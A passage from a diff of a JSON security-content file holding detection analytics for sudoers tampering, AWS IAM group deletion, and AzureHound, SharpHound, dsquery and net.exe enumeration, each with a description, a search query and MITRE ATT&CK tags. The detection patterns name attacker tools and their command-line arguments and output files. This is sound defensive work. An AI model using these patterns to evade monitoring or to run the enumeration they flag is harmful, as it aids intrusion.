`security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_sudoers_tmp_file_creation_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Visudo Utility Execution", - "description": "The following analytic detects the execution of the 'visudo' utility to modify the /etc/sudoers file on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant because unauthorized changes to the /etc/sudoers file can grant elevated privileges to users, potentially allowing adversaries to execute commands as root. If confirmed malicious, this could lead to full system compromise, privilege escalation, and persistent unauthorized access, severely impacting the security posture of the affected host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = visudo by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_visudo_utility_execution_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ executed on $dest$", - "risk_score": 16, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -149726,2951 +126492,7 @@ "Event ID": null, "Event Name": "API monitoring" } - ], - { - "name": "ASL AWS IAM Successful Group Deletion", - "description": "The following analytic detects the successful deletion of a group within AWS IAM, leveraging CloudTrail IAM events. This action, while not inherently malicious, can serve as a precursor to more sinister activities, such as unauthorized access or privilege escalation attempts. By monitoring for such deletions, the analytic aids in identifying potential preparatory steps towards an attack, allowing for early detection and mitigation. The identification of this behavior is crucial for a SOC to prevent the potential impact of an attack, which could include unauthorized access to sensitive resources or disruption of AWS environment operations.", - "search": "`amazon_security_lake` api.operation=DeleteGroup status=Success | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.name actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.name as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_iam_successful_group_deletion_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has sucessfully deleted a user group from $src_ip$", - "risk_score": 5, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069.003", - "mitre_attack_technique": "Cloud Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "AWS IAM Successful Group Deletion", - "description": "The following analytic identifies the successful deletion of an IAM group in AWS. It leverages CloudTrail logs to detect `DeleteGroup` events with a success status. This activity is significant as it could indicate potential changes in user permissions or access controls, which may be a precursor to further unauthorized actions. If confirmed malicious, an attacker could disrupt access management, potentially leading to privilege escalation or unauthorized access to sensitive resources. Analysts should review related IAM events, such as recent user additions or new group creations, to assess the broader context.", - "search": "`cloudtrail` eventSource=iam.amazonaws.com eventName=DeleteGroup errorCode=success (userAgent!=*.amazonaws.com) | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.groupName) as group_deleted by src eventName eventSource errorCode user_agent awsRegion userIdentity.principalId user_arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_iam_successful_group_deletion_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "group_deleted", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has sucessfully deleted mulitple groups $group_deleted$ from $src$", - "risk_score": 5, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069.003", - "mitre_attack_technique": "Cloud Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect AzureHound Command-Line Arguments", - "description": "The following analytic detects the execution of the `Invoke-AzureHound` command-line argument, commonly used by the AzureHound tool. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because AzureHound is often used for reconnaissance in Azure environments, potentially exposing sensitive information. If confirmed malicious, this activity could allow an attacker to map out Azure Active Directory structures, aiding in further attacks and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*invoke-azurehound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ using AzureHound to enumerate AzureAD.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect AzureHound File Modifications", - "description": "The following analytic detects the creation of specific AzureHound-related files, such as `*-azurecollection.zip` and various `.json` files, on disk. It leverages data from the Endpoint.Filesystem datamodel, focusing on file creation events with specific filenames. This activity is significant because AzureHound is a tool used to gather information about Azure environments, similar to SharpHound for on-premises Active Directory. If confirmed malicious, this activity could indicate an attacker is collecting sensitive Azure environment data, potentially leading to further exploitation or privilege escalation within the cloud infrastructure.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*-azurecollection.zip\", \"*-azprivroleadminrights.json\", \"*-azglobaladminrights.json\", \"*-azcloudappadmins.json\", \"*-azapplicationadmins.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_azurehound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to AzureHound, a AzureAD enumeration utility, has occurred on endpoint $dest$ by user $user$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Command-Line Arguments", - "description": "The following analytic detects the execution of SharpHound command-line arguments, specifically `-collectionMethod` and `invoke-bloodhound`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as SharpHound is commonly used for Active Directory enumeration, which can be a precursor to lateral movement or privilege escalation. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially compromising sensitive information and critical systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*-collectionMethod*\",\"*invoke-bloodhound*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible SharpHound command-Line arguments identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound File Modifications", - "description": "The following analytic detects the creation of files typically associated with SharpHound, a reconnaissance tool used for gathering domain and trust data. It leverages file modification events from the Endpoint.Filesystem data model, focusing on default file naming patterns like `*_BloodHound.zip` and various JSON files. This activity is significant as it indicates potential domain enumeration, which is a precursor to more targeted attacks. If confirmed malicious, an attacker could gain detailed insights into the domain structure, facilitating lateral movement and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*bloodhound.zip\", \"*_computers.json\", \"*_gpos.json\", \"*_domains.json\", \"*_users.json\", \"*_groups.json\", \"*_ous.json\", \"*_containers.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user| `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound file modifications identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Usage", - "description": "The following analytic detects the usage of the SharpHound binary by identifying its original filename, `SharpHound.exe`, and the process name. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process metadata and command-line executions. SharpHound is a tool used for Active Directory enumeration, often by attackers during the reconnaissance phase. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially leading to privilege escalation and lateral movement within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=sharphound.exe OR Processes.original_file_name=SharpHound.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_usage_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound binary identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Domain Group Discovery with Adsisearcher", - "description": "The following analytic detects the use of the `[Adsisearcher]` type accelerator in PowerShell to query Active Directory for domain groups. It leverages PowerShell Script Block Logging (EventCode=4104) to identify specific script blocks containing `[adsisearcher]` and group-related queries. This activity is significant as it may indicate an attempt by adversaries or Red Teams to enumerate domain groups for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further reconnaissance, privilege escalation, or lateral movement within the network.", - "search": "`powershell` (ScriptBlockText = \"*[adsisearcher]*\" AND ScriptBlockText = \"*(objectcategory=group)*\" AND ScriptBlockText = \"*findAll()*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `domain_group_discovery_with_adsisearcher_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration using PowerShell on $dest$ by $user$", - "risk_score": 18, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Domain Group Discovery With Dsquery", - "description": "The following analytic identifies the execution of `dsquery.exe` with command-line arguments used to query for domain groups. It leverages Endpoint Detection and Response (EDR) data, focusing on process names and command-line arguments. This activity is significant because both Red Teams and adversaries use `dsquery.exe` to enumerate domain groups, gaining situational awareness and facilitating further Active Directory discovery. If confirmed malicious, this behavior could allow attackers to map out the domain structure, identify high-value targets, and plan subsequent attacks, potentially leading to privilege escalation or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"dsquery.exe\") (Processes.process=\"*group*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_group_discovery_with_dsquery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Domain Group Discovery With Net", - "description": "The following analytic identifies the execution of `net.exe` with command-line arguments used to query domain groups, specifically `group /domain`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant as it indicates potential reconnaissance efforts by adversaries to enumerate domain groups, which is a common step in Active Directory Discovery. If confirmed malicious, this behavior could allow attackers to gain insights into the domain structure, aiding in further attacks such as privilege escalation or lateral movement.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"net.exe\" OR Processes.process_name=\"net1.exe\") (Processes.process=*group* AND Processes.process=*/do*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | 